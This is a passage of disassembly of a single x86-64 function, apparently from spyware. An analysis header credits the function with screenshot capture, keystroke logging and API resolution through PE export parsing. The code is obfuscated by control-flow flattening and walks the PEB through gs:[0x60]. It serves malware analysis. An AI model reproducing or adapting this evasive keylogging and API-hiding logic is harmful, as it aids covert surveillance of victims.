Function at 0x1404ac460
Capabilities:
Capture screenshot
Hash data using fnv
Log keystrokes via polling
Resolve function by parsing pe exports

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x438
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x3a0], xmm12
movapd xmmword [rbp + 0x390], xmm11
movaps xmmword [rbp + 0x380], xmm10
movaps xmmword [rbp + 0x370], xmm9
movaps xmmword [rbp + 0x360], xmm8
movaps xmmword [rbp + 0x350], xmm7
movaps xmmword [rbp + 0x340], xmm6
xorps xmm12, xmm12
xorps xmm7, xmm7
movsd xmm8, qword [0x14066f4b0]
movsd xmm9, qword [0x1406841a0]
movsd xmm10, qword [0x140684180]
xorpd xmm11, xmm11
mov r15d, 0xe6af3b71
mov r12d, 0x75a3b107
mov r13d, 0x85dafd84
mov r10d, 0xee54680f
mov edi, 0xda384f69
mov r14d, 0xcef4daed
mov dword [rbp + 0x12c], eax
mov dword [rbp + 0x128], eax
mov dword [rbp + 0x124], eax
mov eax, 0xf1611b5e
jmp 0x1404ac53d
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa5e18cdd
mov ecx, 0xf596517e
nop
cmove eax, ecx
cmp dword [0x140ae958c], 0xa
cmovl eax, ecx
cmp eax, 0xf82249f4
jg 0x1404ac5b0
cmp eax, 0xb4c7745d
jle 0x1404ac640
cmp eax, 0xd9e3376a
jg 0x1404ac729
cmp eax, 0xcb27aafd
jle 0x1404aeafc
cmp eax, 0xd163c9e1
jg 0x1404aede4
cmp eax, 0xce5323b4
jle 0x1404af33e
cmp eax, 0xcfd65726
jle 0x1404afe16
cmp eax, 0xd009c290
jg 0x1404b119e
cmp eax, 0xcfd65727
je 0x1404b15b6
cmp eax, 0xcfd9d0fa
jne 0x1404ac53d
mov eax, 0x8252c943
jmp 0x1404ac53d
cmp eax, 0x3a9b69f6
jg 0x1404ac6c0
cmp eax, 0x187bfa41
jle 0x1404ac780
cmp eax, 0x25cf9c87
jle 0x1404aeb54
cmp eax, 0x3195c70f
jg 0x1404aee39
cmp eax, 0x2ccf8083
jle 0x1404af374
cmp eax, 0x2f41a259
jle 0x1404afe55
cmp eax, 0x3062ade1
jg 0x1404b11d2
cmp eax, 0x2f41a25a
je 0x1404b15c0
cmp eax, 0x2f9d4fab
jne 0x1404ac53d
mov al, byte [0x140ae7d40]
mov byte [rbp + 0x1fb], al
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xee491a9d
mov ecx, 0xb8209f21
jmp 0x1404ac530
cmp eax, 0x9776a89b
jle 0x1404ac7e1
cmp eax, 0xa73499ae
jle 0x1404aeba0
cmp eax, 0xad85afd0
jg 0x1404aee7a
cmp eax, 0xaa79a98d
jle 0x1404af3aa
cmp eax, 0xabf494d6
jle 0x1404afe96
cmp eax, 0xacbe7db3
jg 0x1404b11fc
cmp eax, 0xabf494d7
je 0x1404b15de
cmp eax, 0xacbd2946
jne 0x1404ac53d
mov eax, dword [rbp + 0x200]
cmp eax, 4
mov eax, 0x7e90d3d5
mov ecx, 0xccb98610
cmovl eax, ecx
jmp 0x1404ac53d
cmp eax, 0x5ae28c0a
jle 0x1404ac835
cmp eax, 0x714452e0
jle 0x1404aebec
cmp eax, 0x77bb594c
jg 0x1404aeecf
cmp eax, 0x746c9904
jle 0x1404af3fe
cmp eax, 0x769f963f
jle 0x1404afed5
cmp eax, 0x76d8bf03
jg 0x1404b1226
cmp eax, 0x769f9640
je 0x1404b15fc
cmp eax, 0x76a07875
jne 0x1404ac53d
mov byte [0x140ae76d8], 0
mov eax, 0x21b508c9
jmp 0x1404ac53d
cmp eax, 0xe9db6136
jle 0x1404aec47
cmp eax, 0xf0af83d6
jg 0x1404aef26
cmp eax, 0xec15e2f4
jle 0x1404af443
cmp eax, 0xee491a9c
jle 0x1404aff0a
cmp eax, 0xef79c301
jg 0x1404b1257
cmp eax, 0xee491a9d
je 0x1404b1606
cmp eax, 0xef1f9a0f
jne 0x1404ac53d
mov eax, 0xfaa62cea
jmp 0x1404ac53d
cmp eax, 0x67fd7d9
jg 0x1404aeca4
cmp eax, 0xfef17c6a
jg 0x1404aef76
cmp eax, 0xf989bb97
jle 0x1404af48d
cmp eax, 0xfaa62ce9
jle 0x1404aff55
cmp eax, 0xfd14d78c
jg 0x1404b128b
cmp eax, 0xfaa62cea
je 0x1404b1610
cmp eax, 0xfb49f083
jne 0x1404ac53d
mov dword [0x140ae7d74], 0x12
mov eax, 0x8eaf9cb4
jmp 0x1404ac53d
cmp eax, 0x8bc56f1a
jg 0x1404aecfa
cmp eax, 0x83d64b62
jle 0x1404aefcb
cmp eax, 0x87d19385
jle 0x1404af4d7
cmp eax, 0x89106778
jle 0x1404aff9b
cmp eax, 0x8b96fad4
jg 0x1404b12ab
cmp eax, 0x89106779
je 0x1404b162e
cmp eax, 0x89c14060
jne 0x1404ac53d
mov ecx, 0xfa1581
jmp 0x1404ac8a5
cmp eax, 0x47a6a9f8
jg 0x1404aed7a
cmp eax, 0x420388e8
jle 0x1404af01b
cmp eax, 0x4449c1f0
jle 0x1404af519
cmp eax, 0x456affff
jle 0x1404affda
cmp eax, 0x45d199eb
jg 0x1404b12d5
cmp eax, 0x456b0000
je 0x1404b1647
cmp eax, 0x4570f08a
jne 0x1404ac53d
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa1848b2a
mov ecx, 0xec15e2f5
jmp 0x1404ac530
mov ecx, 0xd32eabca
jmp 0x1404ac8cd
mov eax, dword [0x140ae9590]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xb718bf3f
mov eax, 0x29d6a750
cmove ecx, eax
cmp dword [0x140ae9594], 0xa
cmovl ecx, eax
cmp ecx, 0xf0c107cf
jg 0x1404ac940
cmp ecx, 0xa521e289
jg 0x1404aca60
cmp ecx, 0x8becb288
jle 0x1404acb68
cmp ecx, 0x900e187e
jle 0x1404acc7a
cmp ecx, 0x900e187f
je 0x1404ad1a9
cmp ecx, 0x935609e6
je 0x1404ad228
cmp ecx, 0xa39f20f6
jne 0x1404ac8cd
mov eax, dword [rbp + 0x2c8]
cmp eax, 0x7e1b3ec5
sete byte [rbp + 0x31d]
mov ecx, 0x1d322219
jmp 0x1404ac8cd
cmp ecx, 0x2c770237
jg 0x1404acab0
cmp ecx, 0xa22ce00
jle 0x1404acb96
cmp ecx, 0x1d322218
jle 0x1404accb0
cmp ecx, 0x1d322219
je 0x1404ad267
cmp ecx, 0x1fe09a46
je 0x1404ad285
cmp ecx, 0x29d6a750
jne 0x1404ac8cd
lea rax, [rbp + 0x40]
mov qword [rbp + 0x198], rax
mov rax, qword [rbp + 0x198]
mov eax, dword [0x140ae8180]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete byte [rbp + 0x335]
mov ecx, dword [0x140ae8184]
mov eax, 0x9f46a97d
mov edx, 0x267806a
cmove eax, edx
cmp ecx, 0xa
setl byte [rbp + 0x334]
cmovl eax, edx
mov ecx, 0x4c8822bf
nop word cs:[rax + rax]
nop
cmp ecx, 0x2fd04866
jg 0x1404aca10
cmp ecx, 0x9f46a97d
je 0x1404aca4a
cmp ecx, 0xe7de37d9
je 0x1404ad2b1
cmp ecx, 0x267806a
jne 0x1404ac9e0
mov ecx, 0x2fd04867
jmp 0x1404ac9e0
cmp ecx, 0x2fd04867
je 0x1404aca51
cmp ecx, 0x651d8ef2
je 0x1404aca58
cmp ecx, 0x4c8822bf
jne 0x1404ac9e0
movzx edx, byte [rbp + 0x335]
cmp byte [rbp + 0x334], 0
mov ecx, 0x9f46a97d
mov ebx, 0x651d8ef2
cmovne ecx, ebx
test dl, dl
cmovne ecx, ebx
jmp 0x1404ac9e0
mov ecx, 0x651d8ef2
jmp 0x1404ac9e0
mov ecx, 0xe7de37d9
jmp 0x1404ac9e0
mov ecx, eax
jmp 0x1404ac9e0
cmp ecx, 0xc2fe625e
jle 0x1404acbef
cmp ecx, 0xd382da7a
jle 0x1404accd2
cmp ecx, 0xd382da7b
je 0x1404ad844
cmp ecx, 0xe9835e86
je 0x1404ad862
cmp ecx, 0xeef77691
jne 0x1404ac8cd
mov ecx, 0xa7014c3f
jmp 0x1404ac8cd
cmp ecx, 0x466265ae
jle 0x1404acc35
cmp ecx, 0x5e9a9ac1
jg 0x1404acef8
cmp ecx, 0x466265af
je 0x1404ad889
cmp ecx, 0x54ac81ed
jne 0x1404aeaae
mov eax, dword [rbp + 0x2b4]
mov rcx, qword [rbp + 0x2d8]
mov rdx, qword [rbp + 0x2e0]
mov qword [rbp + 0x310], rcx
mov ecx, dword [rdx + 0x1c]
add rcx, qword [rbp + 0x310]
mov qword [rbp + 0x328], rcx
mov ecx, dword [rdx + 0x24]
add rcx, qword [rbp + 0x310]
mov qword [rbp + 0x338], rcx
mov ecx, 0xa7e038c0
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xa3a28b43
je 0x1404ad893
cmp ecx, 0xa7e038c0
jne 0x1404acb30
mov rcx, qword [rbp + 0x338]
movzx ecx, word [rcx + rax*2]
shl rcx, 2
add rcx, qword [rbp + 0x328]
mov qword [rbp + 0x320], rcx
mov ecx, 0xa3a28b43
jmp 0x1404acb30
cmp ecx, 0x8707b458
jg 0x1404acf2e
cmp ecx, 0x8037e1d2
je 0x1404ad8ab
cmp ecx, 0x8386449d
jne 0x1404ac8cd
mov ecx, 0x64693a10
jmp 0x1404ac8cd
cmp ecx, 0xfa1580
jg 0x1404acf6d
cmp ecx, 0xf0c107d0
je 0x1404adb88
cmp ecx, 0xff757015
jne 0x1404ac8cd
mov edx, dword [rbp + 0x280]
test edx, edx
mov ecx, 0x935609e6
mov eax, 0x8707b459
cmove ecx, eax
mov dword [rbp + 0x1a0], edx
mov rax, qword [rbp + 0x1a8]
mov qword [rbp + 0x1b0], rax
mov qword [rbp + 0x1b8], rax
jmp 0x1404ac8cd
cmp ecx, 0xaf2c5ea0
jg 0x1404ad09c
cmp ecx, 0xa521e28a
je 0x1404adb9b
cmp ecx, 0xa7014c3f
jne 0x1404ac8cd
mov ecx, 0xff757015
mov dword [rbp + 0x280], 1
mov rax, qword [rbp + 0x150]
mov qword [rbp + 0x1a8], rax
jmp 0x1404ac8cd
cmp ecx, 0x3c0b5aea
jg 0x1404ad16c
cmp ecx, 0x2c770238
je 0x1404adbb1
cmp ecx, 0x32680fae
jne 0x1404ac8cd
mov eax, dword [rbp + 0x284]
sub eax, 1
mov dword [rbp + 0x2b4], eax
mov ecx, 0xa22ce01
mov eax, 0x3c0b5aeb
cmovb ecx, eax
jmp 0x1404ac8cd
cmp ecx, 0x8becb289
je 0x1404ac8a0
cmp ecx, 0x8db21822
jne 0x1404ac8cd
mov eax, dword [0x140ae9590]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x54ac81ed
mov eax, 0x900e187f
jmp 0x1404ac8c0
cmp ecx, 0xa22ce01
je 0x1404adbc2
cmp ecx, 0x1984a9cf
jne 0x1404ac8cd
mov ecx, 0x8becb289
jmp 0x1404ac8cd
cmp ecx, 0xc2fe625f
je 0x1404adc18
cmp ecx, 0xd32eabca
jne 0x1404ac8cd
mov rax, qword [rbp + 0x170]
mov qword [rbp + 0x180], rax
lea rax, [rbp + 0x2d8]
mov qword [rbp + 0x190], rax
mov rax, qword [rbp + 0x190]
mov rax, qword [rbp + 0x40]
mov r8, qword [rax + 0x30]
mov eax, dword [0x140ae8110]
mov ecx, dword [0x140ae8114]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
sete byte [rbp + 0x310]
cmp ecx, 0xa
setl cl
setl byte [rbp + 0x328]
or cl, al
mov edi, 0xfe777634
mov eax, 0xda4ed74b
cmovne edi, eax
mov qword [rbp + 0x2d8], r8
mov eax, 0xfe777634
mov ecx, 0x14a712fb
cmovne eax, ecx
mov ebx, 0x5f40d673
mov ecx, 0x958d7ea
cmovne ebx, ecx
mov edx, 0xdc2154f5
jmp 0x1404acd80
mov edx, 0x43cf23dc
nop dword [rax]
mov esi, edx
cmp edx, 0x958d7e9
jle 0x1404acdc0
cmp esi, 0x43cf23db
jg 0x1404acdf0
cmp esi, 0x958d7ea
je 0x1404acd78
cmp esi, 0x14a712fb
jne 0x1404ace7a
mov rcx, qword [rbp + 0x320]
mov r9d, dword [rcx + 0x3c]
mov edx, edi
jmp 0x1404acd80
cmp esi, 0xdc2154f4
jg 0x1404ace20
cmp esi, 0xb588294a
je 0x1404ace47
mov edx, esi
cmp esi, 0xda4ed74b
jne 0x1404acd80
mov edx, 0x9971561
jmp 0x1404acd80
mov edx, eax
cmp esi, 0x43cf23dc
je 0x1404acd80
mov edx, esi
cmp esi, 0x5f40d673
jne 0x1404acd80
mov edx, 0xb588294a
jmp 0x1404acd80
cmp esi, 0xdc2154f5
je 0x1404ace55
mov edx, esi
cmp esi, 0xfe777634
jne 0x1404acd80
mov rcx, qword [rbp + 0x320]
mov edx, 0x14a712fb
jmp 0x1404acd80
mov qword [rbp + 0x320], r8
mov edx, ebx
jmp 0x1404acd80
movzx ecx, byte [rbp + 0x310]
cmp byte [rbp + 0x328], 0
mov edx, 0x5f40d673
mov esi, 0xb588294a
cmovne edx, esi
test cl, cl
cmovne edx, esi
jmp 0x1404acd80
mov edx, esi
cmp esi, 0x9971561
jne 0x1404acd80
mov dword [rbp + 0x338], r9d
movsxd rax, dword [rbp + 0x338]
mov ecx, dword [r8 + rax + 0x88]
mov dword [rbp + 0x310], ecx
add rax, r8
add rax, 0x8c
mov qword [rbp + 0x338], rax
mov eax, 0xb4e2a26d
nop dword [rax]
cmp eax, 0x6c7afb3a
je 0x1404adc28
cmp eax, 0xb4e2a26d
jne 0x1404acec0
mov rax, qword [rbp + 0x338]
mov eax, dword [rax]
mov dword [rbp + 0x328], eax
mov eax, dword [rbp + 0x310]
add rax, r8
mov qword [rbp + 0x320], rax
mov eax, 0x6c7afb3a
jmp 0x1404acec0
cmp ecx, 0x5e9a9ac2
je 0x1404addab
cmp ecx, 0x64693a10
jne 0x1404ac8cd
mov eax, dword [0x140ae9590]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x8386449d
mov eax, 0x40e9c236
jmp 0x1404ac8c0
cmp ecx, 0x8707b459
je 0x1404addb5
cmp ecx, 0x877b320d
jne 0x1404ac8cd
cmp byte [rbp + 0x337], 0
mov ecx, 0x52506099
mov eax, 0x8037e1d2
cmovne ecx, eax
mov rax, qword [rbp + 0x178]
mov qword [rbp + 0x1c0], rax
jmp 0x1404ac8cd
cmp ecx, 0xfa1581
je 0x1404ac8a7
cmp ecx, 0x5f9cf96
jne 0x1404ac8cd
mov eax, dword [0x140ae8108]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140ae810c], 0xa
setl cl
or cl, al
mov edx, 0x5704dee6
mov eax, 0x42c6bf2c
cmovne edx, eax
mov ecx, 0x5704dee6
mov eax, 0xbb5b4fcd
cmovne ecx, eax
mov r8, qword [rbp + 0x2e0]
mov ebx, 0x64fe3025
mov eax, 0x47a989db
cmovne ebx, eax
mov edi, 0x64fe3025
mov eax, 0x3860c77
cmovne edi, eax
mov eax, 0x3c1c4314
jmp 0x1404ad000
mov rax, qword [rbp + 0x320]
mov eax, 0xbb5b4fcd
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp eax, 0x42c6bf2b
jg 0x1404ad020
cmp eax, 0x3860c76
jg 0x1404ad040
cmp eax, 0xbb5b4fcd
je 0x1404ad060
cmp eax, 0xbd215c35
jne 0x1404ad000
mov eax, ecx
jmp 0x1404ad000
cmp eax, 0x5704dee5
jle 0x1404ad052
cmp eax, 0x5704dee6
je 0x1404acfe5
cmp eax, 0x64fe3025
jne 0x1404ad000
mov eax, 0x3860c77
jmp 0x1404ad000
cmp eax, 0x3860c77
je 0x1404ad06e
cmp eax, 0x3c1c4314
jne 0x1404ad000
mov eax, edi
jmp 0x1404ad000
cmp eax, 0x47a989db
jne 0x1404ad079
mov eax, 0xbd215c35
jmp 0x1404ad000
mov rax, qword [rbp + 0x320]
mov esi, dword [rax + 0x18]
mov eax, edx
jmp 0x1404ad000
mov qword [rbp + 0x320], r8
mov eax, ebx
jmp 0x1404ad000
cmp eax, 0x42c6bf2c
jne 0x1404ad000
mov dword [rbp + 0x338], esi
mov eax, dword [rbp + 0x338]
mov dword [rbp + 0x260], eax
mov ecx, 0x466265af
jmp 0x1404aea9e
cmp ecx, 0xaf2c5ea1
je 0x1404addd7
cmp ecx, 0xb718bf3f
jne 0x1404ac8cd
mov eax, dword [0x140ae8180]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete byte [rbp + 0x335]
mov ecx, dword [0x140ae8184]
mov eax, 0x9f46a97d
mov edx, 0x267806a
cmove eax, edx
cmp ecx, 0xa
setl byte [rbp + 0x334]
cmovl eax, edx
mov ecx, 0x4c8822bf
nop
cmp ecx, 0x2fd04866
jg 0x1404ad120
cmp ecx, 0x9f46a97d
je 0x1404ad15a
cmp ecx, 0xe7de37d9
je 0x1404ade03
cmp ecx, 0x267806a
jne 0x1404ad0f0
mov ecx, 0x2fd04867
jmp 0x1404ad0f0
cmp ecx, 0x2fd04867
je 0x1404ad161
cmp ecx, 0x651d8ef2
je 0x1404ad168
cmp ecx, 0x4c8822bf
jne 0x1404ad0f0
movzx edx, byte [rbp + 0x335]
cmp byte [rbp + 0x334], 0
mov ecx, 0x9f46a97d
mov ebx, 0x651d8ef2
cmovne ecx, ebx
test dl, dl
cmovne ecx, ebx
jmp 0x1404ad0f0
mov ecx, 0x651d8ef2
jmp 0x1404ad0f0
mov ecx, 0xe7de37d9
jmp 0x1404ad0f0
mov ecx, eax
jmp 0x1404ad0f0
cmp ecx, 0x3c0b5aeb
je 0x1404ae373
cmp ecx, 0x40e9c236
jne 0x1404ac8cd
cmp byte [rbp + 0x31d], 0
mov ecx, 0x32680fae
mov eax, 0x8db21822
cmovne ecx, eax
mov eax, dword [rbp + 0x2b4]
mov dword [rbp + 0x284], eax
jmp 0x1404ac8cd
mov eax, dword [rbp + 0x2b4]
mov rcx, qword [rbp + 0x2d8]
mov rdx, qword [rbp + 0x2e0]
mov qword [rbp + 0x310], rcx
mov ecx, dword [rdx + 0x1c]
add rcx, qword [rbp + 0x310]
mov qword [rbp + 0x328], rcx
mov ecx, dword [rdx + 0x24]
add rcx, qword [rbp + 0x310]
mov qword [rbp + 0x338], rcx
mov ecx, 0xa7e038c0
nop dword [rax + rax]
cmp ecx, 0xa3a28b43
je 0x1404ae395
cmp ecx, 0xa7e038c0
jne 0x1404ad1f0
mov rcx, qword [rbp + 0x338]
movzx ecx, word [rcx + rax*2]
shl rcx, 2
add rcx, qword [rbp + 0x328]
mov qword [rbp + 0x320], rcx
mov ecx, 0xa3a28b43
jmp 0x1404ad1f0
mov eax, dword [rbp + 0x1a0]
mov dword [rbp + 0x278], eax
mov rax, qword [rbp + 0x1b0]
mov qword [rbp + 0x178], rax
mov rax, qword [rbp + 0x190]
mov eax, dword [0x140ae9590]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xc2fe625f
mov eax, 0x1fe09a46
jmp 0x1404ac8c0
mov eax, dword [0x140ae9590]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x8386449d
mov eax, 0x64693a10
jmp 0x1404ac8c0
cmp dword [rbp + 0x278], 0
sete byte [rbp + 0x337]
mov eax, dword [0x140ae9590]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xc2fe625f
mov eax, 0x877b320d
jmp 0x1404ac8c0
mov eax, dword [0x140ae8148]
mov ecx, dword [0x140ae814c]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
sete byte [rbp + 0x2c4]
cmp ecx, 0xa
setl cl
setl byte [rbp + 0x2c0]
mov edx, dword [0x140ae8150]
mov r8d, dword [0x140ae8154]
lea r10d, [rdx - 1]
imul r10d, edx
test r10b, 1
sete dl
cmp r8d, 0xa
setl bl
or bl, dl
mov edx, 0x1806efec
mov ebx, 0x2d12b554
cmovne edx, ebx
mov esi, 0x1806efec
mov ebx, 0xc7e4f419
cmovne esi, ebx
mov r15d, 0x50ecbf49
mov ebx, 0xb7bc901d
cmovne r15d, ebx
mov r12d, 0x50ecbf49
mov ebx, 0xe073d505
cmovne r12d, ebx
mov r13d, 0xb58a2df5
mov ebx, 0xb79c9156
cmovne r13d, ebx
or cl, al
mov r9d, 0x40dbb7c4
mov eax, 0xa9b92767
cmovne r9d, eax
lea rax, [rbp + 0x40]
mov qword [rbp + 0x2b8], rax
mov r14d, 0x40dbb7c4
mov eax, 0xc7078832
cmovne r14d, eax
mov r11d, 0x7282843
mov eax, 0x15d8b3b5
cmovne r11d, eax
mov edi, 0x7245ccbf
jmp 0x1404ad3a0
mov rax, qword [rbp + 0x310]
mov edi, 0xc7078832
nop word cs:[rax + rax]
mov ecx, edi
cmp edi, 0x12477acc
jg 0x1404ad3e0
cmp ecx, 0xeb677b59
jg 0x1404ad410
cmp ecx, 0xc5530a32
je 0x1404ad60e
cmp ecx, 0xc7078832
jne 0x1404ad7f6
mov rax, qword [rbp + 0x310]
mov qword [rbp + 0x328], rax
mov edi, r9d
jmp 0x1404ad3a0
cmp ecx, 0x40dbb7c3
jg 0x1404ad5d0
cmp ecx, 0x12477acd
je 0x1404ad7a2
mov edi, ecx
cmp ecx, 0x15d8b3b5
jne 0x1404ad3a0
mov edi, 0x12477acd
jmp 0x1404ad3a0
mov edi, r14d
cmp ecx, 0xeb677b5a
je 0x1404ad3a0
mov edi, ecx
cmp ecx, 0x7282843
jne 0x1404ad3a0
test r10b, 1
sete byte [rbp + 0x2fc]
cmp r8d, 0xa
setl byte [rbp + 0x300]
mov ebx, 0xe6aa786e
jmp 0x1404ad450
mov ebx, 0xc7e4f419
nop dword [rax + rax]
mov edi, ebx
cmp ebx, 0xe6aa786d
jg 0x1404ad490
cmp edi, 0xb7bc901c
jg 0x1404ad4c0
mov ebx, esi
cmp edi, 0xa6904a62
je 0x1404ad450
cmp edi, 0xb58a2df5
je 0x1404ad51f
mov ebx, edi
cmp edi, 0xb79c9156
jne 0x1404ad450
mov ebx, 0x2bd10b98
jmp 0x1404ad450
cmp edi, 0x2d12b553
jg 0x1404ad4f7
cmp edi, 0xe6aa786e
je 0x1404ad532
cmp edi, 0x1806efec
je 0x1404ad446
mov ebx, edi
cmp edi, 0x2bd10b98
jne 0x1404ad450
mov ebx, r12d
jmp 0x1404ad450
cmp edi, 0xb7bc901d
je 0x1404ad55b
mov ebx, edx
cmp edi, 0xc7e4f419
je 0x1404ad450
mov ebx, edi
cmp edi, 0xe073d505
jne 0x1404ad450
mov rcx, qword [rbp + 0x338]
mov ebx, r15d
jmp 0x1404ad450
cmp edi, 0x50ecbf49
je 0x1404ad565
cmp edi, 0x7e9a4a9e
jne 0x1404ad576
mov rax, qword gs:[0x60]
mov qword [rbp + 0x338], rax
mov ebx, r13d
jmp 0x1404ad450
mov rax, qword gs:[0x60]
mov ebx, 0x7e9a4a9e
jmp 0x1404ad450
movzx eax, byte [rbp + 0x2fc]
cmp byte [rbp + 0x300], 0
mov edi, 0x7e9a4a9e
mov ebx, 0x7e9a4a9e
jne 0x1404ad551
mov ebx, 0xb58a2df5
test al, al
cmovne ebx, edi
jmp 0x1404ad450
mov ebx, 0xa6904a62
jmp 0x1404ad450
mov rax, qword [rbp + 0x338]
mov ebx, 0xe073d505
jmp 0x1404ad450
mov ebx, edi
cmp edi, 0x2d12b554
jne 0x1404ad450
mov qword [rbp + 0x320], rcx
mov rax, qword [rbp + 0x320]
mov qword [rbp + 0x338], rax
mov edi, 0x8546b22b
nop
cmp edi, 0x3876635d
je 0x1404ad7bd
cmp edi, 0x8546b22b
jne 0x1404ad5a0
mov rax, qword [rbp + 0x338]
mov rcx, qword [rax + 0x18]
mov edi, 0x3876635d
jmp 0x1404ad5a0
cmp ecx, 0x40dbb7c4
je 0x1404ad38a
mov edi, ecx
cmp ecx, 0x7245ccbf
jne 0x1404ad3a0
mov al, byte [rbp + 0x2c4]
cmp byte [rbp + 0x2c0], 0
mov edi, 0x7282843
mov ecx, 0xc5530a32
cmovne edi, ecx
test al, al
cmovne edi, ecx
jmp 0x1404ad3a0
test r10b, 1
sete byte [rbp + 0x2fc]
cmp r8d, 0xa
setl byte [rbp + 0x300]
mov ebx, 0xe6aa786e
jmp 0x1404ad630
mov ebx, 0xc7e4f419
mov edi, ebx
cmp ebx, 0xe6aa786d
jg 0x1404ad670
cmp edi, 0xb7bc901c
jg 0x1404ad6a0
mov ebx, esi
cmp edi, 0xa6904a62
je 0x1404ad630
cmp edi, 0xb58a2df5
je 0x1404ad6ff
mov ebx, edi
cmp edi, 0xb79c9156
jne 0x1404ad630
mov ebx, 0x2bd10b98
jmp 0x1404ad630
cmp edi, 0x2d12b553
jg 0x1404ad6d7
cmp edi, 0xe6aa786e
je 0x1404ad712
cmp edi, 0x1806efec
je 0x1404ad62b
mov ebx, edi
cmp edi, 0x2bd10b98
jne 0x1404ad630
mov ebx, r12d
jmp 0x1404ad630
cmp edi, 0xb7bc901d
je 0x1404ad73b
mov ebx, edx
cmp edi, 0xc7e4f419
je 0x1404ad630
mov ebx, edi
cmp edi, 0xe073d505
jne 0x1404ad630
mov rcx, qword [rbp + 0x338]
mov ebx, r15d
jmp 0x1404ad630
cmp edi, 0x50ecbf49
je 0x1404ad745
cmp edi, 0x7e9a4a9e
jne 0x1404ad756
mov rax, qword gs:[0x60]
mov qword [rbp + 0x338], rax
mov ebx, r13d
jmp 0x1404ad630
mov rax, qword gs:[0x60]
mov ebx, 0x7e9a4a9e
jmp 0x1404ad630
movzx eax, byte [rbp + 0x2fc]
cmp byte [rbp + 0x300], 0
mov edi, 0x7e9a4a9e
mov ebx, 0x7e9a4a9e
jne 0x1404ad731
mov ebx, 0xb58a2df5
test al, al
cmovne ebx, edi
jmp 0x1404ad630
mov ebx, 0xa6904a62
jmp 0x1404ad630
mov rax, qword [rbp + 0x338]
mov ebx, 0xe073d505
jmp 0x1404ad630
mov ebx, edi
cmp edi, 0x2d12b554
jne 0x1404ad630
mov qword [rbp + 0x320], rcx
mov rax, qword [rbp + 0x320]
mov qword [rbp + 0x338], rax
mov edi, 0x8546b22b
nop
cmp edi, 0x3876635d
je 0x1404ad7d5
cmp edi, 0x8546b22b
jne 0x1404ad780
mov rax, qword [rbp + 0x338]
mov rcx, qword [rax + 0x18]
mov edi, 0x3876635d
jmp 0x1404ad780
mov rax, qword [rbp + 0x288]
mov rax, qword [rax]
mov qword [rbp + 0x310], rax
mov edi, 0xeb677b5a
jmp 0x1404ad3a0
mov qword [rbp + 0x320], rcx
mov rax, qword [rbp + 0x320]
mov edi, 0xc5530a32
jmp 0x1404ad3a0
mov qword [rbp + 0x320], rcx
mov rax, qword [rbp + 0x320]
add rax, 0x10
mov qword [rbp + 0x288], rax
mov edi, r11d
jmp 0x1404ad3a0
mov edi, ecx
cmp ecx, 0xa9b92767
jne 0x1404ad3a0
mov rax, qword [rbp + 0x328]
mov rcx, qword [rbp + 0x2b8]
mov qword [rcx], rax
mov qword [rbp + 0x48], rax
mov eax, dword [0x140ae9590]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xb718bf3f
mov eax, 0x1984a9cf
cmove ecx, eax
cmp dword [0x140ae9594], 0xa
cmovl ecx, eax
jmp 0x1404aea86
mov eax, dword [0x140ae9590]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x2c770238
mov eax, 0xaf2c5ea1
jmp 0x1404ac8c0
cmp byte [rbp + 0x336], 0
mov ecx, 0xf0c107d0
mov eax, 0xd32eabca
cmovne ecx, eax
mov rax, qword [rbp + 0x178]
mov qword [rbp + 0x170], rax
jmp 0x1404ac8cd
mov ecx, 0xa521e28a
jmp 0x1404ac8cd
mov rax, qword [rbp + 0x320]
mov rax, qword [rbp + 0x310]
mov ecx, 0x900e187f
jmp 0x1404ac8cd
lea rax, [rbp + 0x40]
mov qword [rbp + 0x2b8], rax
mov ecx, 0x27b7268
jmp 0x1404ad8d0
mov ecx, 0xe6af3b71
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x32cb807c
jg 0x1404ad930
cmp ecx, 0xe6af3b70
jg 0x1404ad970
cmp ecx, 0x85dafd84
je 0x1404ad9ed
cmp ecx, 0xa82d1f9a
je 0x1404ad9f7
cmp ecx, 0xaf1b8639
jne 0x1404ad8d0
mov ecx, dword [0x140ae8188]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov ecx, 0x6c6a35a7
cmove ecx, r15d
cmp dword [0x140ae818c], 0xa
cmovl ecx, r15d
jmp 0x1404ad8d0
cmp ecx, 0x4fcfefb9
jle 0x1404ad9bc
cmp ecx, 0x4fcfefba
je 0x1404ada08
cmp ecx, 0x6c6a35a7
je 0x1404ad8bd
cmp ecx, 0x75a3b107
jne 0x1404ad8d0
mov ecx, 0x393b5af1
mov al, byte [rbp + 0x300]
jmp 0x1404ad8d0
cmp ecx, 0xe6af3b71
je 0x1404adaaf
cmp ecx, 0xee54680f
je 0x1404adad7
cmp ecx, 0x27b7268
jne 0x1404ad8d0
mov ecx, dword [0x140ae8188]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov ecx, 0xa82d1f9a
cmove ecx, r10d
cmp dword [0x140ae818c], 0xa
cmovl ecx, r10d
jmp 0x1404ad8d0
cmp ecx, 0x32cb807d
je 0x1404adb10
cmp ecx, 0x4ce14eb5
